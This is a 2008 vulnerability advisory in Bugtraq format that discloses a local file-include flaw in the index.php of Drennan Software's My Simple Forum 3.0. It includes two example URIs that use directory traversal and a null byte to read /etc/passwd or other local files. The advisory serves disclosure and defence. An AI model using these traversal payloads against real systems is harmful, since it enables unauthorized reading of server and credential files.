Drennan Software My Simple Forum 'index.php' Local File Include Vulnerability

Bugtraq ID:	32643
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 04 2008 12:00AM
Updated:	Dec 08 2008 02:41PM
Credit:	cOndemned
Vulnerable:	Drennan Software My Simple Forum 3.0
Not Vulnerable:

Drennan Software My Simple Forum 'index.php' Local File Include Vulnerability

My Simple Forum is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the webserver process. This may aid in further attacks.

The issue affects My Simple Forum 3.0; other versions may also be affected.

Drennan Software My Simple Forum 'index.php' Local File Include Vulnerability

Attackers can exploit this issue via a browser.

The following example URIs are available:

http://www.example.com/[my_simple_forum_path]/index.php?action=../../../../../../../etc/passwd%00
http://www.example.com/[my_simple_forum_path]/index.php?action=../../../../[localfile]%00

Drennan Software My Simple Forum 'index.php' Local File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Drennan Software My Simple Forum 'index.php' Local File Include Vulnerability

References:

• Vendor Homepage (Drennan Software)